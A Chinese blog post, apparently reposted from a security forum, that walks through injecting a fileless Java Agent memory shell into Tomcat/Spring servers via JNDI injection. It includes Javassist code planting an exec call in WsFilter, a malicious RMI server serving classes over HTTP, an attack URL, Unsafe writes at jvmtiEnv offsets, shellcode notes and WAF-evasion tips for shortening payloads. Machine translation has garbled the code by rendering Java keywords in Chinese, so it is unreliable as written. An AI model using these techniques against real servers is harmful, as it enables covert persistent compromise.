发布于2025年12月5日12月5日 ## 前言 上个月看了【rebeyond】(https://xz.aliyun.com/u/8697)、【游网智】(https://xz.aliyun.com/u/40732)、【小盘233】(https://ttta ng.com/user/Xiaopan233)大师介绍**无文件登陆注入Agent内存马技术**的文章,想在实践中重现。没想到遇到了很多问题,花了很多时间去解决,所以准备写一篇实用的记录,帮助大家少走弯路。 该技术适用于具有**动态代码上下文执行能力**的场景下的**通用内存马注入**(仅仅Runtime.getRuntime().exec()是不够的,必须具备执行**多行代码**的能力) **提示:** 阅读本文需要您对JNDI 注入和反序列化漏洞有基本的了解。当然,了解Agent内存马是有必要的。如果你不懂这个技术,建议查看那些高手的博客。 接下来我会用我写的一个小工具来模拟攻击注入。在这个过程中我会讲几个**实战问题**。如果读者之前没有实践过,不妨按照本文来实践一下。 项目地址:https://github.com/whocansee/FilelessAgentMemShell(包含简单的漏洞环境和测试所需的新类字节码) ## 开始 测试环境:Windows 10、JDK8u66、SpringBoot 2(暴露任意反序列化和JNDI接口) 以利用JNDI注入漏洞将Agent内存马注入**JDK低版本和Windows目标**为例。 ### 生成用于注入Agent内存马的类文件 首先选择常见的`org.apache.tomcat.websocket.server.WsFilter`作为宿主类 javassist修改其字节码并输出一个新的类文件(其方法体前面添加了一个计算器) ```` ClassPool 池=ClassPool.getDefault(); CtClass ctClass=pool.getCtClass(\'org.apache.tomcat.websocket.server.WsFilter\'); CtMethod m=ctClass.getDeclaredMethod(\'doFilter\'); m.insertBefore(\'Runtime.getRuntime().exec(\\\'calc\\\');\'); ctClass.writeFile(); ctClass.detach(); ```` 在此目录下找到生成的新类文件 和工具放在同一个目录下,使用工具生成最终会被目标加载的类文件(用于用新字节码替换**目标类的旧字节码**) ```` java -jar .\\FilelessAgentMemshellGenerator.jar -b 64 -c \'org.apache.tomcat.websocket.server.WsFilter\' -i false -o \'Windows\' -p .\\WsFilter.class -t false ```` 弹出警告,但成功生成了所需的类文件 `AgentMemShell.class`可以在工具同目录的out文件夹中找到 ### 配置JNDI服务器 **使用ysomap等工具可以快速部署JNDI恶意服务器**。以下是手动步骤。 首先,您需要启动**RMI 服务或LDAP 服务** 并将远程对象绑定到它。 然后使用`python -m http.server`在这个目录下开启一个Http服务 将引用的地址设置为Http服务的URL,如`http://localhost:8000/`,并设置类名和工厂名 `Reference refObj=new Reference(\'AgentMemShell\',\'AgentMemShell\',\'http://localhost:8000/\');` 然后重新绑定对JNDI服务的引用 `InitialContext 初始上下文=new InitialContext();` `initialContext.rebind(\'rmi://localhost:11451/remoteObj\',refObj);` **最后启动JNDI服务** ```` 导入javax.naming.InitialContext; 导入javax.naming.Reference; 公共类JNDIServer { 公共静态无效主(字符串[] args)抛出异常{ InitialContext 初始上下文=new InitialContext(); 引用refObj=new Reference(\'AgentMemShell\',\'AgentMemShell\',\'http://localhost:8000/\'); initialContext.rebind(\'rmi://localhost:11451/remoteObj\',refObj); } } ```` ###利用JNDI注入漏洞实现内存马注入 启动漏洞环境,代码如下 ```` @GetMapping({\'/jndi\'}) 公共无效jndi(@RequestParam字符串b)抛出异常{ byte[]解码字节=Base64.getDecoder().decode(b); 字符串解码Url=新字符串(decodedBytes,StandardCharsets.UTF_8); InitialContext ctx=new InitialContext(); ctx.lookup(decodedUrl); } ```` 访问URL完成攻击(传递的`jndi-url`为`rmi://localhost:11451/remoteObj`) `http://localhost:8080/memShell/jndi?b=cm1pOi8vbG9jYWxob3N0OjExNDUxL3JlbW90ZU9iag== ` 随机访问不存在的目录,成功弹出计算器 ## lambda 表达式错误 如果不出意外的话,此时应该已经成功注入Agent内存马了,并且没有丢文件! 如果此时想改变一个宿主类,比如`org.apache.catalina.core.ApplicationFilterChain ` 其他步骤不变,只是Javassit修改类时改变了参数,并使用工具生成最终的类,从而生成了可以替换`org.apache.catalina.core.ApplicationFilterChain`类的EXP。 再次使用JNDI注入进入内存木马。你会发现并没有生效。检查Spring 控制台,您应该看到以下错误: 为什么? ### 错误原因 当我们使用JavaAgent进行动态类替换时,如果**新类字节码**包含**lambda表达式**,就会报错。问题可能出在Instrument API的内部实现逻辑上。 巧合的是,常用的宿主类org.apache.catalina.core.ApplicationFilterChain 中的doFilter() 方法包含一个lambda 表达式。我第一次测试的时候,无论怎么检查,一直报错。直到控制变量使用了另一个宿主类我才找到原因。 理论上,您可以通过使用Javassist修改此方法来删除lambda表达式。然而,事情并没有那么简单。经过测试发现,Javassist**一旦加载了包含lambda表达式的类**,无论是添加还是替换方法体,都无法完全删除lambda表达式** **我们应该做什么? ** ### 解决方案 #### 逃脱 最简单的方法就是这里给出Tomcat容器下可用的宿主类(**请求处理过程中必要的类**,可以添加shell逻辑,不影响正常运行) **(粗体为推荐类)** - **org.apache.tomcat.websocket.server.WsFilter** - org.springframework.web.servlet.DispatcherServlet - org.apache.catalina.core.ApplicationFilterChain - **org.apache.catalina.core.StandardContextValve** - javax.servlet.http.HttpServlet(Tomcat 10之后,javax变为jarkara;Weblogic环境下为weblogic) 其中,`org.apache.tomcat.websocket.server.WsFilter`和`org.apache.catalina.core.StandardContextValve`是**既没有lambda表达式**也**长度**短**的类。 (注意,如果你选择org.apache.catalina.core.StandardContextValve 作为宿主类,你应该修改它的invoke() 方法体) #### 面对现实 任何时候你都无法通过转职来逃脱。 Agent的记忆马用途极其广泛,这意味着它需要面对许多不同的场景。当遇到必须选择lambda 表达式的宿主类时: **除了解决问题别无他法** 这里有最合适的解决方案以及你自己的探索过程 **改变框架#最有效的解决方案** 接触过字节码修改技术的高手应该都用过Java下的ASM框架。与Javassist框架相比,其功能更加强大。删除lambda 表达式显然是小菜一碟。 不过本人水平有限,还没有找到单独删除lambda表达式的通用方法。我只想到完全删除方法体去掉lambda表达式,然后用Javassist读取ASM生成的字节码来简单的写复杂的shell逻辑,比较迂回又麻烦。 下面是~ChatGPT~ 编写的代码,它使用ASM 框架**删除目标类的方法体中的所有内容**(包括lambda 表达式),并将其替换为输出“Hello World”: ```` 导入org.objectweb.asm.*; 导入java.io.FileOutputStream; 导入java.io.IOException; 公共类修改计算方法{ 公共静态无效主(字符串[] args){ 尝试{ byte[] 修改类=修改计算方法(); //将修改后的类写入文件 尝试(FileOutputStream fos=new FileOutputStream(\'Hello.class\')) { fos.write(modifiedClass); } System.out.println(\'修改后的类写入: Hello.class\'); } catch (IOException e) { e.printStackTrace(); } } 公共静态字节[]修改CalcMethod()抛出IOException{ //指定要修改的类 ClassReader classReader=new ClassReader(\'org.apache.catalina.core.ApplicationFilterChain\'); ClassWriter classWriter=new ClassWriter(ClassWriter.COMPUTE_FRAMES); ClassVisitor classVisitor=new ClassVisitor(Opcodes.ASM7, classWriter) { @覆盖 公共MethodVisitor VisitMethod(int access, 字符串名称, 字符串desc, 字符串签名, 字符串[] 异常) { //指定要修改的方法 if (name.equals(\'doFilter\')) { MethodVisitor newMethod=super.visitMethod(访问、名称、描述、签名、异常); newMethod.visitCode(); newMethod.visitFieldInsn(Opcodes.GETSTATIC, \'java/lang/System\', \'out\', \'Ljava/io/PrintStream;\'); newMethod.visitLdcInsn(\'你好,世界!\'); newMethod.visitMethodInsn(Opcodes.INVOKEVIRTUAL, \'java/io/PrintStream\', \'println\', \'(Ljava/lang/String;)V\', false); newMethod.visitInsn(Opcodes.RETURN); newMethod.visitMaxs(2, 1); newMethod.visitEnd(); //如果要删除Hello World,只需使用Javassist再次编辑即可。 返回空值; //返回null表示清除原来的方法体 } 否则{ 返回super.visitMethod(访问、名称、描述、签名、异常); } } }; classReader.accept(classVisitor, 0); 返回classWriter.toByteArray(); } } ```` 如果不出意外的话,问题就顺利解决了 此时你可能会有疑问。源代码中只有几行lambda表达式。为什么删除这么难? ** 事实上,Javassist 和ASM 框架都是在字节码级别操作和修改类。前者使用起来确实很方便,可以像源代码一样操作字节码,但带来的后果是一旦出现问题,很难找到根本原因并解决;后者,ASM虽然准确且强大,但操作起来却非常复杂和繁琐。 **既然如此,看来直接操作源码是最好的选择** **从源码层面开始** 大多数第三方组件库都有可用的源代码。我们可以修改源码然后自己编译,简单的删除lambda表达式即可。 然而,依赖关系通常很复杂,需要一些**微妙的操作** 以修改org.apache.catalina.core.ApplicationFilterChain 为例,查找其所在jar包的源码。我在这里使用“tomcat-embed-core-9.0.63-sources”。 解压source-jar包,找到目标类的java文件(及目录文件夹)并**单独取出** 在同目录下创建IDEA项目,添加所需依赖(本例为Maven中`springframework.boot.spring.starter.web`对应版本2.7.0) 然后就可以简单修改源码并顺利编译,成功得到新的class文件! 然后替换掉修改后的字节码,**却遇到了新的错误**: JavaAgent技术不允许添加或删除方法或添加或删除属性值,但我们只删除了源代码中的lambda表达式部分。为什么会出现这个错误? 事实上,**编译后的Lambda表达式本质上是一个匿名函数**,可以看作是函数式接口的实现 因此,对于org.apache.catalina.core.ApplicationFilterChain 类中包含lambda 表达式的代码部分 ```` java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction) () - { 内部DoFilter(请求,res); 返回空值; } ); ```` 使用下面的代码代替 ```` java.security.AccessController.doPrivileged( 新的java.security.PrivilegedExceptionAction() { @覆盖 public Void run() 抛出异常{ 内部DoFilter(req, res); 返回空值; } } ); ```` 编译,获取class文件,动态替换class 仍然报错. 看来Instrument API不同意这种等效的替代方案,所以根本没有出路,只剩下**最后一个方法** 参考JRebel、spring-loaded、hotcode2等热部署工具的原理,在每个调用ApplicationFilterChain.filter()的地方创建一层代理,直接加载一个全新的代理类,可以突破不允许增删方法或增删属性值的限制。 需要替换多个类,这显然**很麻烦**。看来**换宿主类、换框架**最方便 **补充** 看过源码修改部分的高手可能会有疑问。由于删除lambda表达式相关的代码会导致**添加和删除方法**的效果 **ASM框架如何在不违反Instrument API要求的情况下删除lambda表达式? ** 如果你熟悉类似字节码的结构,那就很容易理解了。我给出的**使用ASM 删除lambda 表达式**的代码实际上只是清除了`doFilter()` 方法中的剩余数据,这将导致Instrument API 中出现错误。它不会删除**通过编译字节码中的lambda 表达式生成的方法** ##JDK版本 ###自我 **编译字节码和运行工具时,尽量使用较低版本的JDK**,以获得更好的兼容性 ### 目标 去除对漏洞利用的影响(如JNDI注入高低版本的差异) 目标使用JDK11 还是JDK8 对EXP 生成也有几个影响: `can_redefine_classes` 偏移量 普通Java Agent使用时,在`agent.jar`的`MANIFEST.MF`文件中有一行配置 `Can-Redefine-Classes`,决定是否可以使用`redefineClasses()`方法动态替换类 在无文件代理技术中,其值存储在“jvmtiEnv*”指针指向的内存地址之后的偏移处。 默认为零,所以需要填充一个值 不同的JDK主要版本下偏移值是不同的。理论上,需要搜索所有的偏移量,并根据不同的JDK版本设置不同的EXP。 经过测试,将值填充到多个可能的内存地址也可以正常工作,所以这就是我在项目中实现的方式(针对64位目标) ```` unsafe.putByte(native_jvmtienv + 377, (字节) 2); unsafe.putByte(native_jvmtienv + 361, (字节) 2); unsafe.putByte(native_jvmtienv + 369, (字节) 2); ```` #### 不安全相关 在JDK8下,Java默认会对Unsafe调用发出警告,并提示在以后的版本中删除。 使用JDK11,必须在编译时添加相关参数才能使用Unsafe #### 仪器API相关 JDK11下,执行动态替换类操作后,目标控制台会出现报警。 具体来说,**JDK17**之后,完全禁止不安全的反射调用。 #### Windows下不同的虚拟机实现类 在Windows目标中注入shellcode时,需要使用虚拟机相关的类,这些类的类名在不同的JDK版本中发生了变化。 JDK8:`Windows虚拟机` JDK9 及更高版本:`VirtualMachineImpl` ### 工具 以上各点均已在项目中得到解决 ## 负载长度限制 ### 问题 本次测试中,利用JNDI注入漏洞侵入Agent内存时,一般没有payload长度限制。然而, 当需要在实战环境中利用反序列化漏洞一次性渗透到Agent的内存中时,由于其中包含大量硬编码的字节码和shellcode,最终编译出来的字节码会很大,payload长度也会很长,不适合某些只能通过GET参数甚至请求头输入反序列化payload的情况;即使使用POST,由于传输的数据量较大,也存在被WAF检测到的风险。 关于这个问题,我会在后面单独讨论有效载荷长度受限时的各种解决方案,并在工具的后续更新中完成一些自动缩短的实现。 这里只给出最有效的路径 ### 解决方案 #### 为新类生成尽可能最小的字节码 这就需要在选择宿主类时优先考虑内容较少的类,或者在不影响正常逻辑的情况下删除所有可删除的方法体内容。 #### 进入反序列化过程,无长度限制 在目标不在网络的前提下,通过UnicastRef链和LDAPAttribute链开辟新的反序列化入口。 #### 尝试去掉目标的长度限制 不同的中间件对不同的负载插入位置(URL、请求头、POST 数据)有不同的限制。在注入之前解除长度限制也是一个奇怪的想法。 ## 参考 Java内存攻击技术探讨https://xz.aliyun.com/t/10075 浅谈如何优雅地注入Java Agent内存马https://xz.aliyun.com/t/11640 探索Linux下无文件Java代理https://tttang.com/archive/1525 Linux下先进的内存马植入技术https://xz.aliyun.com/t/10186 终极Java反序列化减荷技术https://developer.aliyun.com/article/1160545 转载自先知社区: https://xz.aliyun.com/t/13150?time__1311=mqmxnDBDcD20Y0KDsD7mQ0%3DWabrWqQDuGYDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1%3Fpage%3D2 添加一名作者
创建帐户或登录后发表意见